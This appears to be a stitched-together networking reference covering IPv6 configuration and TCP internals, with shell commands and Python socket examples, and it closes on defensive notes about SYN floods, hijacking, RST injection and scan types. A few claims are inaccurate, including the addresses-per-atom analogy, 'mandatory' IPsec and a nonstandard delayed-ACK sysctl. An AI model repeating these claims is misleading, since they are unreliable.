# Add IPv6 address
sudo ip -6 addr add 2001:db8::1/64 dev eth0

# Remove IPv6 address
sudo ip -6 addr del 2001:db8::1/64 dev eth0

# Enable IPv6 on interface
sudo sysctl -w net.ipv6.conf.eth0.disable_ipv6=0

# Disable IPv6 on interface
sudo sysctl -w net.ipv6.conf.eth0.disable_ipv6=1

# View IPv6 routing table
ip -6 route show

# Add IPv6 route
sudo ip -6 route add 2001:db8::/32 via 2001:db8::1

# Add default route
sudo ip -6 route add default via fe80::1 dev eth0

# View neighbor cache (NDP)
ip -6 neigh show

# View IPv6 configuration
netsh interface ipv6 show config
ipconfig

# Add IPv6 address
netsh interface ipv6 add address "Ethernet" 2001:db8::1/64

# Remove IPv6 address
netsh interface ipv6 delete address "Ethernet" 2001:db8::1

# Add route
netsh interface ipv6 add route 2001:db8::/32 "Ethernet" 2001:db8::1

# View IPv6 routing table
netsh interface ipv6 show route
route print -6

# View neighbor cache
netsh interface ipv6 show neighbors

# Ping IPv6 address
ping6 2001:4860:4860::8888
ping -6 google.com

# Ping link-local (requires interface specification)
ping6 fe80::1%eth0
ping6 -I eth0 fe80::1

# Traceroute
traceroute6 google.com
traceroute -6 google.com

# TCP connection test
telnet 2001:4860:4860::8888 80
nc -6 google.com 80

# DNS lookup
host google.com
dig AAAA google.com
nslookup -type=AAAA google.com

# View IPv6 sockets
ss -6 -tuln
netstat -6 -tuln

# View IPv6 connections
ss -6 -tun
netstat -6 -tun

# tcpdump for IPv6
sudo tcpdump -i eth0 ip6
sudo tcpdump -i eth0 'icmp6'
sudo tcpdump -i eth0 'ip6 and tcp port 80'

# Neighbor Discovery monitoring
sudo tcpdump -i eth0 'icmp6 and (ip6[40] >= 133 and ip6[40] <= 137)'

Use /48 for sites:
- Gives 65,536 subnets
- Future-proof
- Standard recommendation

Use /64 for subnets:
- Required for SLAAC
- Standard LAN size
- Even for point-to-point

Use /56 for small sites:
- 256 subnets
- Acceptable for small deployments

Hierarchy example:
2001:db8:abcd::/48                Organization
  2001:db8:abcd:0100::/56         Building 1
    2001:db8:abcd:0101::/64       Floor 1
    2001:db8:abcd:0102::/64       Floor 2
  2001:db8:abcd:0200::/56         Building 2
  2001:db8:abcd:1000::/56         Data center

Run IPv4 and IPv6 simultaneously:

Benefits:
- Smooth transition
- Backward compatibility
- No disruption

Implementation:
- Enable IPv6 on all interfaces
- Maintain IPv4 for legacy
- Configure both protocols on servers
- Use DNS with A and AAAA records

Eventually:
- IPv6-only for new deployments
- IPv4 only where necessary

IPv6-specific security considerations:

1. ICMPv6 is essential
   - Don't block all ICMPv6
   - Allow NDP (types 133-137)
   - Allow PMTU Discovery (type 2)
   - Allow Echo Request/Reply (types 128-129)

2. Link-local security
   - fe80::/10 should stay local
   - Don't route link-local

3. Disable IPv6 if not using
   - But preferably, enable and secure it
   - Attacks can use IPv6 if enabled but unmonitored

4. RA Guard
   - Prevent rogue router advertisements
   - Protect against MITM attacks

5. Extension headers
   - Many firewalls can't inspect them
   - Consider filtering or limiting

6. Privacy Extensions
   - Enable for client devices
   - Prevents tracking via EUI-64

Always configure both records:

example.com.     IN  A      192.0.2.1        (IPv4)
example.com.     IN  AAAA   2001:db8::1      (IPv6)

Test both:
dig A example.com
dig AAAA example.com

Reverse DNS:
IPv4: 1.2.0.192.in-addr.arpa
IPv6: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa

Configure resolver:
/etc/resolv.conf:
nameserver 2001:4860:4860::8888
nameserver 2001:4860:4860::8844
nameserver 8.8.8.8

# ip6tables example

# Allow established connections
ip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow loopback
ip6tables -A INPUT -i lo -j ACCEPT

# Allow ICMPv6
ip6tables -A INPUT -p ipv6-icmp -j ACCEPT

# Allow SSH
ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
ip6tables -A INPUT -p tcp --dport 80 -j ACCEPT
ip6tables -A INPUT -p tcp --dport 443 -j ACCEPT

# Drop invalid packets
ip6tables -A INPUT -m state --state INVALID -j DROP

# Default drop
ip6tables -P INPUT DROP
ip6tables -P FORWARD DROP
ip6tables -P OUTPUT ACCEPT

# Monitor NDP
ip -6 neigh show
watch -n 1 'ip -6 neigh show'

# Monitor IPv6 traffic
sudo iftop -f "ip6"
sudo nethogs -6

# View IPv6 statistics
netstat -s -6

# Monitor routing
ip -6 route show
watch -n 1 'ip -6 route show'

# Check for IPv6 connectivity
ping6 -c 1 2001:4860:4860::8888 && echo "IPv6 works" || echo "IPv6 fails"

Run both IPv4 and IPv6:

Advantages:
+ Simple
+ No translation
+ Native performance

Disadvantages:
- Must manage both protocols
- Requires IPv4 addresses (scarce)

Best for: Long-term transition

IPv6 packets encapsulated in IPv4:

[IPv4 Header][IPv6 Header][Data]

Configuration:
# Linux
ip tunnel add ipv6tunnel mode sit remote 198.51.100.1 local 192.0.2.1
ip link set ipv6tunnel up
ip addr add 2001:db8::2/64 dev ipv6tunnel
ip route add ::/0 dev ipv6tunnel

Use case: Static IPv6 over IPv4

Automatic tunneling using 2002::/16:

IPv4: 192.0.2.1
IPv6: 2002:c000:0201::/48
      (c000:0201 = 192.0.2.1 in hex)

Deprecated: Security issues

Tunneling for NAT environments:

Prefix: 2001::/32

Use case: Windows clients behind NAT
Status: Deprecated, use native IPv6

Allow IPv6-only clients to access IPv4 services:

IPv6 client (2001:db8::1)
    ↓ Request "www.example.com"
DNS64 server
    ↓ Returns 64:ff9b::192.0.2.1 (synthesized AAAA)
IPv6 client
    ↓ Connects to 64:ff9b::192.0.2.1
NAT64 gateway
    ↓ Translates to IPv4: 192.0.2.1
IPv4 server (192.0.2.1)

Use case: IPv6-only networks accessing IPv4 internet

IPv4 (old):
- Like phone numbers with 10 digits
- Only 4.3 billion addresses
- Running out (like phone numbers in 1990s)

IPv6 (new):
- Like phone numbers with 39 digits
- 340 undecillion addresses
- Enough for every atom on Earth to have trillions of IPs
- We'll NEVER run out

IPv4: 192.168.1.1
- Four numbers (0-255)
- Separated by dots

IPv6: 2001:db8::1
- Eight groups of hex digits (0-9, a-f)
- Separated by colons
- Can compress zeros with ::

IPv4:
- Need DHCP server
- Manual configuration for servers
- "Hey DHCP, give me an address!"

IPv6:
- Auto-configures itself (SLAAC)
- Listens for router
- Creates own address
- "I'll make my own address, thanks!"

IPv4 with NAT:
Home: All devices share one public IP
      Like apartment building with one mailbox

IPv6:
Home: Every device gets its own public IP
      Like every apartment having its own mailbox
      Direct delivery, no sharing needed

IPv4:
- Security added later (IPSec optional)
- Like adding locks to old houses

IPv6:
- Security built-in (IPSec mandatory)
- Like new houses with locks included

Every IPv6 device has:
1. Link-local (fe80::): For local network (like intercom)
2. Global (2001:...): For internet (like phone number)

Always have both, automatic!

  0                   1                   2                   3
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |          Source Port          |       Destination Port        |
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |                        Sequence Number                        |
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |                    Acknowledgment Number                      |
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |  Data |       |C|E|U|A|P|R|S|F|                               |
 | Offset| Rsrvd |W|C|R|C|S|S|Y|I|            Window             |
 |       |       |R|E|G|K|H|T|N|N|                               |
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |           Checksum            |         Urgent Pointer        |
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |                    Options                    |    Padding    |
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |                             Data                              |
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Client                                  Server
  |                                       |
  |  SYN (seq=x)                         |
  |-------------------------------------->|
  |                                       |
  |         SYN-ACK (seq=y, ack=x+1)    |
  |<--------------------------------------|
  |                                       |
  |  ACK (seq=x+1, ack=y+1)             |
  |-------------------------------------->|
  |                                       |
  |     Connection Established            |
  |                                       |

import socket

# Create TCP socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to server (three-way handshake happens here)
server_address = ('localhost', 8080)
client_socket.connect(server_address)
print(f"Connected to {server_address}")

# Send data
message = "Hello, Server!"
client_socket.sendall(message.encode())

# Receive response
response = client_socket.recv(1024)
print(f"Received: {response.decode()}")

# Close connection
client_socket.close()

import socket

# Create TCP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind to address and port
server_address = ('localhost', 8080)
server_socket.bind(server_address)

# Listen for connections
server_socket.listen(5)
print(f"Server listening on {server_address}")

while True:
    # Accept connection (completes three-way handshake)
    client_socket, client_address = server_socket.accept()
    print(f"Connection from {client_address}")

    try:
        # Receive data
        data = client_socket.recv(1024)
        print(f"Received: {data.decode()}")

        # Send response
        response = "Hello, Client!"
        client_socket.sendall(response.encode())
    finally:
        # Close connection
        client_socket.close()

Client                                  Server
  |                                       |
  |  FIN (seq=x)                         |
  |-------------------------------------->|
  |                                       |
  |         ACK (ack=x+1)                |
  |<--------------------------------------|
  |                                       |
  |         FIN (seq=y)                  |
  |<--------------------------------------|
  |                                       |
  |  ACK (ack=y+1)                       |
  |-------------------------------------->|
  |                                       |
  |     Connection Closed                 |

         CLOSED
           |
           | (active open/SYN)
           v
       SYN-SENT
           |
           | (SYN received/SYN-ACK sent)
           v
    SYN-RECEIVED
           |
           | (ACK received)
           v
      ESTABLISHED
           |
           | (close/FIN sent)
           v
       FIN-WAIT-1
           |
           | (ACK received)
           v
       FIN-WAIT-2
           |
           | (FIN received/ACK sent)
           v
       TIME-WAIT
           |
           | (2*MSL timeout)
           v
         CLOSED

# Linux - Show all TCP connections
netstat -tan

# Show listening ports
netstat -tln

# Show established connections
netstat -tan | grep ESTABLISHED

# Alternative: ss command (faster)
ss -tan
ss -tln
ss -tan state established

# Show connection state for specific port
ss -tan '( dport = :80 or sport = :80 )'

Sender                                    Receiver
  |                                          |
  |  SEQ=1000, LEN=100 (bytes 1000-1099)    |
  |----------------------------------------->|
  |                                          |
  |         ACK=1100 (expecting byte 1100)  |
  |<-----------------------------------------|
  |                                          |
  |  SEQ=1100, LEN=200 (bytes 1100-1299)    |
  |----------------------------------------->|
  |                                          |
  |         ACK=1300 (expecting byte 1300)  |
  |<-----------------------------------------|

import socket
import struct

def get_tcp_sequence_info(sock):
    """
    Get TCP sequence number information (Linux)
    """
    # Get socket info
    TCP_INFO = 11  # Linux constant
    tcp_info = sock.getsockopt(socket.IPPROTO_TCP, TCP_INFO, 256)

    # Parse (simplified - actual struct is larger)
    # This is just for demonstration
    return {
        'state': tcp_info[0],
        'retransmits': tcp_info[5]
    }

Sender's View:
[Sent & ACKed][Sent, not ACKed][Ready to send][Cannot send yet]
              ^                               ^
              |<------ Window Size ---------->|
           Last ACK                      Window Edge

Receiver's View:
[Received & ACKed][Can receive][Cannot receive]
                  ^                          ^
                  |<---- Window Size ------->|
              Next expected            Window Edge

Initial state:
- Window size: 4000 bytes
- Last ACK: 1000
- Can send: bytes 1000-4999

After sending 2000 bytes (1000-2999):
- Waiting for ACK
- Can still send: bytes 3000-4999 (2000 bytes)

Receiver ACKs 3000:
- Window slides forward
- Can now send: bytes 3000-6999

import socket

def demonstrate_sliding_window():
    """
    Demonstrate TCP sliding window behavior
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Get current window size
    window = sock.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF)
    print(f"Receive window: {window} bytes")

    # Set a specific window size
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 8192)

    # This affects how much data sender can transmit
    # before waiting for acknowledgment
    return sock

Without Delayed ACK:
Data1 -> <- ACK1
Data2 -> <- ACK2
Data3 -> <- ACK3

With Delayed ACK:
Data1 ->
Data2 -> <- ACK for both Data1 and Data2
Data3 -> <- ACK for Data3

Benefits:
- Reduces number of ACK packets by ~50%
- Allows ACKs to piggyback on response data
- Typical delay: 40-500ms (usually 200ms)

# Linux - Configure delayed ACK
# Disable delayed ACK (not recommended)
sudo sysctl -w net.ipv4.tcp_delack_seg=1

# Default behavior (ACK every 2nd segment or after timeout)
sudo sysctl -w net.ipv4.tcp_delack_seg=2

Bad scenario:
App reads 1 byte -> Window opens 1 byte -> Sender sends 1 byte
Overhead: 40 bytes (IP+TCP headers) for 1 byte of data!

Solutions:
1. Sender-side: Nagle's algorithm
   - Wait to accumulate data before sending

2. Receiver-side: Window updates
   - Only advertise window when significant space available

import socket

# Nagle's algorithm (enabled by default)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Keep Nagle enabled for bulk transfers (better efficiency)
# This automatically prevents silly window syndrome

# Disable only for interactive, low-latency apps
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

Process:
1. Start with interface MTU (usually 1500 bytes)
2. Set "Don't Fragment" (DF) bit in IP header
3. If packet too large, router sends ICMP "Fragmentation Needed"
4. Reduce MSS and retry
5. Eventually finds optimal MTU for path

Common MTU values:
- Ethernet: 1500 bytes
- PPPoE: 1492 bytes
- VPN: 1400 bytes (varies)
- Jumbo frames: 9000 bytes

MSS = MTU - IP_header(20) - TCP_header(20)
Typical MSS = 1500 - 40 = 1460 bytes

# Linux - Configure PMTU discovery
sysctl net.ipv4.tcp_mtu_probing

# Values:
# 0 = Disabled
# 1 = Enabled when ICMP blackhole detected
# 2 = Always enabled

# Enable PMTU probing
sudo sysctl -w net.ipv4.tcp_mtu_probing=1

# Set base MSS for probing
sudo sysctl -w net.ipv4.tcp_base_mss=1024

import socket

def get_path_mtu(host, port):
    """
    Attempt to determine path MTU
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    # Get effective MSS
    mss = sock.getsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG)

    # MTU = MSS + TCP header (20) + IP header (20)
    estimated_mtu = mss + 40

    print(f"MSS: {mss}, Estimated MTU: {estimated_mtu}")
    sock.close()

    return estimated_mtu

How RTO is calculated:
1. Measure RTT (Round Trip Time) for each segment
2. Calculate smoothed RTT (SRTT):
   SRTT = (1 - α) * SRTT + α * RTT
   where α = 0.125

3. Calculate RTT variation (RTTVAR):
   RTTVAR = (1 - β) * RTTVAR + β * |SRTT - RTT|
   where β = 0.25

4. Calculate RTO:
   RTO = SRTT + 4 * RTTVAR

Minimum RTO: 200ms (Linux default)
Maximum RTO: 120s

# View TCP timer statistics
netstat -s | grep timeout
ss -ti  # Show timer information

# Configure RTO parameters
sysctl net.ipv4.tcp_retries1  # 3 (early retransmit threshold)
sysctl net.ipv4.tcp_retries2  # 15 (max retries before reset)

# Set minimum RTO
sudo sysctl -w net.ipv4.tcp_rto_min=200  # milliseconds

Scenario:
Receiver -> [Window=0] -> Sender (stops sending)

Problem: What if window update is lost?

Solution: Persistence timer
- Sender periodically sends 1-byte probe
- Forces receiver to send window update
- Prevents deadlock

Timer values: 5s, 10s, 20s, 40s... (exponential backoff)
Maximum: 60 seconds

import socket
import time

def handle_zero_window():
    """
    Demonstrate persistence timer behavior
    """
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('localhost', 9000))
    server.listen(1)

    conn, addr = server.accept()

    # Set very small receive buffer (simulates zero window)
    conn.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 512)

    print("Receiver has small buffer, sender will hit zero window")
    print("Persistence timer will trigger periodic probes")

    # Don't read data immediately - let buffer fill
    time.sleep(10)

    # Now read data
    data = conn.recv(4096)
    print(f"Finally read {len(data)} bytes")

    conn.close()
    server.close()

Purpose:
- Detect if peer has crashed
- Detect if connection is still alive
- Clean up half-open connections

How it works:
1. After idle period (tcp_keepalive_time), send probe
2. If no response, retry after interval (tcp_keepalive_intvl)
3. After max probes (tcp_keepalive_probes), close connection

Default Linux values:
- tcp_keepalive_time: 7200s (2 hours)
- tcp_keepalive_intvl: 75s
- tcp_keepalive_probes: 9
- Total time before reset: 2h + 75s * 9 ≈ 2h 11min

# Configure keepalive globally (Linux)
sudo sysctl -w net.ipv4.tcp_keepalive_time=600     # 10 minutes
sudo sysctl -w net.ipv4.tcp_keepalive_intvl=60     # 60 seconds
sudo sysctl -w net.ipv4.tcp_keepalive_probes=5     # 5 probes

# View current settings
sysctl -a | grep tcp_keepalive

import socket

def configure_keepalive(sock, idle=60, interval=10, count=3):
    """
    Configure TCP keepalive per-socket

    Args:
        idle: Seconds before first probe
        interval: Seconds between probes
        count: Number of failed probes before giving up
    """
    # Enable keepalive
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)

    # Platform-specific configuration
    try:
        # Linux
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, idle)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, interval)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, count)
        print(f"Keepalive: idle={idle}s, interval={interval}s, count={count}")
    except AttributeError:
        # macOS/BSD uses different constants
        TCP_KEEPALIVE = 0x10
        sock.setsockopt(socket.IPPROTO_TCP, TCP_KEEPALIVE, idle)
        print(f"Keepalive configured for macOS: idle={idle}s")

    return sock

# Example usage
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock = configure_keepalive(sock, idle=60, interval=10, count=3)

Why TIME_WAIT exists:
1. Allow delayed packets to expire
2. Ensure remote received final ACK
3. Prevent old segments from new connection

Duration: 2 * MSL (Maximum Segment Lifetime)
- Linux default: 60 seconds (2 * 30s)
- Cannot be changed per-connection
- Ties up local port

TIME_WAIT state:
Client              Server
  |  FIN ->           |
  |      <- ACK       |
  |      <- FIN       |
  |  ACK ->           |
  |                   |
[TIME_WAIT]      [CLOSED]
(60 seconds)
  |
[CLOSED]

# View TIME_WAIT connections
netstat -tan | grep TIME_WAIT | wc -l
ss -tan state time-wait | wc -l

# Configure TIME_WAIT
sudo sysctl -w net.ipv4.tcp_fin_timeout=30  # Reduce from 60s

# Reuse TIME_WAIT sockets (safe for clients)
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

# DO NOT use tcp_tw_recycle (removed in newer kernels)
# It causes problems with NAT

# Use SO_REUSEADDR to bind to TIME_WAIT port

import socket

def reuse_address_example():
    """
    Demonstrates SO_REUSEADDR to handle TIME_WAIT
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Allow reuse of address in TIME_WAIT state
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # Now can bind immediately after previous connection closes
    sock.bind(('localhost', 8080))
    sock.listen(5)

    print("Server can restart immediately despite TIME_WAIT")
    return sock

import socket
import time

def tcp_receiver_with_flow_control():
    """
    Receiver controls flow using window size
    """
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('localhost', 8080))
    server.listen(1)

    conn, addr = server.accept()

    # Set receive buffer size (affects window size)
    conn.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)

    total_received = 0
    while True:
        data = conn.recv(1024)
        if not data:
            break

        total_received += len(data)
        print(f"Received {len(data)} bytes, total: {total_received}")

        # Simulate slow processing
        time.sleep(0.1)

    conn.close()
    server.close()

def tcp_sender():
    """
    Sender adapts to receiver's window size
    """
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('localhost', 8080))

    # Set send buffer size
    client.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8192)

    # Send large amount of data
    data = b'X' * 100000
    sent = 0

    while sent < len(data):
        chunk = data[sent:sent+1024]
        try:
            bytes_sent = client.send(chunk)
            sent += bytes_sent
            print(f"Sent {bytes_sent} bytes, total: {sent}")
        except socket.error as e:
            print(f"Send error: {e}")
            break

    client.close()

Window Size
    ^
    |     Slow Start  | Congestion Avoidance
    |                /|
    |              /  |
    |            /    |_______________
    |          /      |               \
    |        /        |                \
    |      /          |                 \ Fast Recovery
    |    /            |                  \_______________
    |  /              |
    |/________________|________________________> Time
         Threshold

# Linux - Check current algorithm
sysctl net.ipv4.tcp_congestion_control

# Available algorithms
sysctl net.ipv4.tcp_available_congestion_control

# Set congestion control algorithm
sudo sysctl -w net.ipv4.tcp_congestion_control=cubic

# Common algorithms:
# - cubic (default on most Linux)
# - reno (traditional)
# - bbr (Google's BBR)
# - vegas

import socket
import time

def tcp_with_timeout():
    """
    TCP automatically handles retransmission
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Set timeout for operations
    sock.settimeout(5.0)

    try:
        sock.connect(('example.com', 80))

        # Send HTTP request
        request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
        sock.sendall(request)

        # Receive response
        response = sock.recv(4096)
        print(f"Received {len(response)} bytes")

    except socket.timeout:
        print("Operation timed out - TCP retransmission may be occurring")
    except socket.error as e:
        print(f"Socket error: {e}")
    finally:
        sock.close()

# Linux - View TCP retransmission statistics
netstat -s | grep -i retrans

# Check retransmission timer settings
sysctl net.ipv4.tcp_retries1  # Threshold for alerting
sysctl net.ipv4.tcp_retries2  # Maximum retries before giving up

# Typical values:
# tcp_retries1 = 3  (alert after 3-6 seconds)
# tcp_retries2 = 15 (give up after ~13-30 minutes)

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Set TCP_MAXSEG option (MSS)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 1400)

# Get current MSS
mss = sock.getsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG)
print(f"TCP MSS: {mss}")

# Enable TCP window scaling (Linux)
sudo sysctl -w net.ipv4.tcp_window_scaling=1

# Check current setting
sysctl net.ipv4.tcp_window_scaling

# Enable SACK (Linux)
sudo sysctl -w net.ipv4.tcp_sack=1

# Check current setting
sysctl net.ipv4.tcp_sack

# Enable TCP timestamps
sudo sysctl -w net.ipv4.tcp_timestamps=1

# Check current setting
sysctl net.ipv4.tcp_timestamps

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Increase buffer sizes for high-throughput applications
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)  # 1MB receive
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)  # 1MB send

# Get buffer sizes
rcvbuf = sock.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF)
sndbuf = sock.getsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF)
print(f"Receive buffer: {rcvbuf}, Send buffer: {sndbuf}")

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Enable keepalive
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)

# Set keepalive parameters (Linux)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 60)    # Start after 60s
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10)   # Interval 10s
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)      # Retry 3 times

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Disable Nagle's algorithm for low-latency applications
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

# Check status
nodelay = sock.getsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY)
print(f"TCP_NODELAY: {nodelay}")

# Increase maximum buffer sizes
sudo sysctl -w net.core.rmem_max=16777216
sudo sysctl -w net.core.wmem_max=16777216

# Set TCP buffer sizes (min, default, max)
sudo sysctl -w net.ipv4.tcp_rmem="4096 87380 16777216"
sudo sysctl -w net.ipv4.tcp_wmem="4096 65536 16777216"

# Increase backlog queue
sudo sysctl -w net.core.somaxconn=1024
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=2048

# Enable TCP Fast Open
sudo sysctl -w net.ipv4.tcp_fastopen=3

# Reuse TIME_WAIT sockets
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

# Capture TCP traffic on port 80
sudo tcpdump -i any tcp port 80 -n

# Capture SYN packets
sudo tcpdump 'tcp[tcpflags] & (tcp-syn) != 0' -n

# Capture RST packets
sudo tcpdump 'tcp[tcpflags] & (tcp-rst) != 0' -n

# Save to file for analysis
sudo tcpdump -i any tcp port 80 -w capture.pcap

# Read from file
tcpdump -r capture.pcap -n

# Start Wireshark
wireshark

# Useful display filters:
# tcp.port == 80
# tcp.flags.syn == 1
# tcp.flags.reset == 1
# tcp.analysis.retransmission
# tcp.analysis.duplicate_ack
# tcp.window_size_value < 1000

# Check if port is listening
netstat -tln | grep :80

# Check firewall
sudo iptables -L -n | grep 80

# Test connectivity
telnet example.com 80

# Check routing
traceroute example.com

# Test with timeout
timeout 5 telnet example.com 80

import socket
import time

def measure_tcp_performance():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Measure connection time
    start = time.time()
    sock.connect(('example.com', 80))
    connect_time = time.time() - start
    print(f"Connection time: {connect_time:.3f}s")

    # Send request
    request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
    start = time.time()
    sock.sendall(request)
    send_time = time.time() - start
    print(f"Send time: {send_time:.3f}s")

    # Receive response
    start = time.time()
    data = sock.recv(4096)
    recv_time = time.time() - start
    print(f"Receive time: {recv_time:.3f}s")
    print(f"Received {len(data)} bytes")

    sock.close()

measure_tcp_performance()

# Real-time connection monitoring
watch -n 1 'netstat -tan | grep ESTABLISHED | wc -l'

# Connection state distribution
netstat -tan | awk '{print $6}' | sort | uniq -c

# Show connections with process info
sudo netstat -tanp

# Alternative with ss
ss -tanp state established

import socket

# Client with TFO
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Enable TFO (requires kernel support)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_FASTOPEN, 1)

# Send data during connection (SYN packet)
data = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
sock.sendto(data, socket.MSG_FASTOPEN, ('example.com', 80))

# Check if MPTCP is available (Linux)
sysctl net.mptcp.enabled

# Enable MPTCP
sudo sysctl -w net.mptcp.enabled=1

import socket
import os

def sendfile_example(sock, filename):
    """
    Send file using zero-copy sendfile
    """
    with open(filename, 'rb') as f:
        # Get file size
        file_size = os.fstat(f.fileno()).st_size

        # Send file using sendfile (zero-copy)
        offset = 0
        while offset < file_size:
            sent = os.sendfile(sock.fileno(), f.fileno(), offset, file_size - offset)
            offset += sent

Attack scenario:
Attacker sends many SYN packets with spoofed source IPs
Server allocates resources for each SYN-RECEIVED connection
Server's SYN queue fills up
Legitimate clients cannot connect

Defense mechanisms:
1. SYN Cookies
2. Increase SYN queue size
3. Reduce SYN-RECEIVED timeout
4. Firewall rate limiting

# Linux - Enable SYN cookies (recommended)
sudo sysctl -w net.ipv4.tcp_syncookies=1

# Increase SYN backlog
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=4096

# Reduce SYN-ACK retries
sudo sysctl -w net.ipv4.tcp_synack_retries=2

# View SYN attack statistics
netstat -s | grep -i syn

import socket

def syn_flood_resistant_server():
    """
    Server configuration to resist SYN floods
    """
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Reuse address
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # Increase backlog (doesn't help much with SYN flood)
    # SYN cookies provide better protection
    server.bind(('0.0.0.0', 8080))
    server.listen(1024)  # Large backlog

    # Set accept timeout to prevent blocking
    server.settimeout(5.0)

    return server

Attack requirements:
1. Know source/destination IP addresses
2. Know source/destination port numbers
3. Predict sequence numbers (hardest part)

Prevention:
1. Use encrypted protocols (TLS/SSL)
2. Use random sequence numbers (ISN randomization)
3. Use authentication (IPsec, VPN)
4. Network isolation

# Linux - Ensure strong ISN randomization
sysctl net.ipv4.tcp_timestamps  # Should be 1 (helps with ISN)

# Use encrypted protocols
# HTTP -> HTTPS
# Telnet -> SSH
# FTP -> SFTP

How it works:
1. Sniff packets to get connection details
2. Forge RST packet with correct sequence number
3. Send to either endpoint
4. Connection immediately terminated

Defense:
1. Use encrypted tunnels (VPN)
2. Network segmentation
3. Detect anomalous RST patterns

import socket

def detect_unexpected_reset():
    """
    Detect unexpected connection resets
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(('example.com', 80))

        # Send request
        sock.sendall(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")

        # Receive response
        response = sock.recv(4096)

    except ConnectionResetError:
        print("WARNING: Connection reset unexpectedly")
        print("Possible reset attack or network issue")
        # Log for security analysis

    except Exception as e:
        print(f"Error: {e}")

    finally:
        sock.close()

Scan types:
1. SYN scan (stealth): Send SYN, check for SYN-ACK
2. Connect scan: Full three-way handshake
3. FIN scan: Send FIN to closed ports
4. XMAS scan: Set FIN, PSH, URG flags

Detection:
- Multiple connection attempts to different ports
- Incomplete handshakes
- Unusual flag combinations

# Linux - Detect port scans with iptables
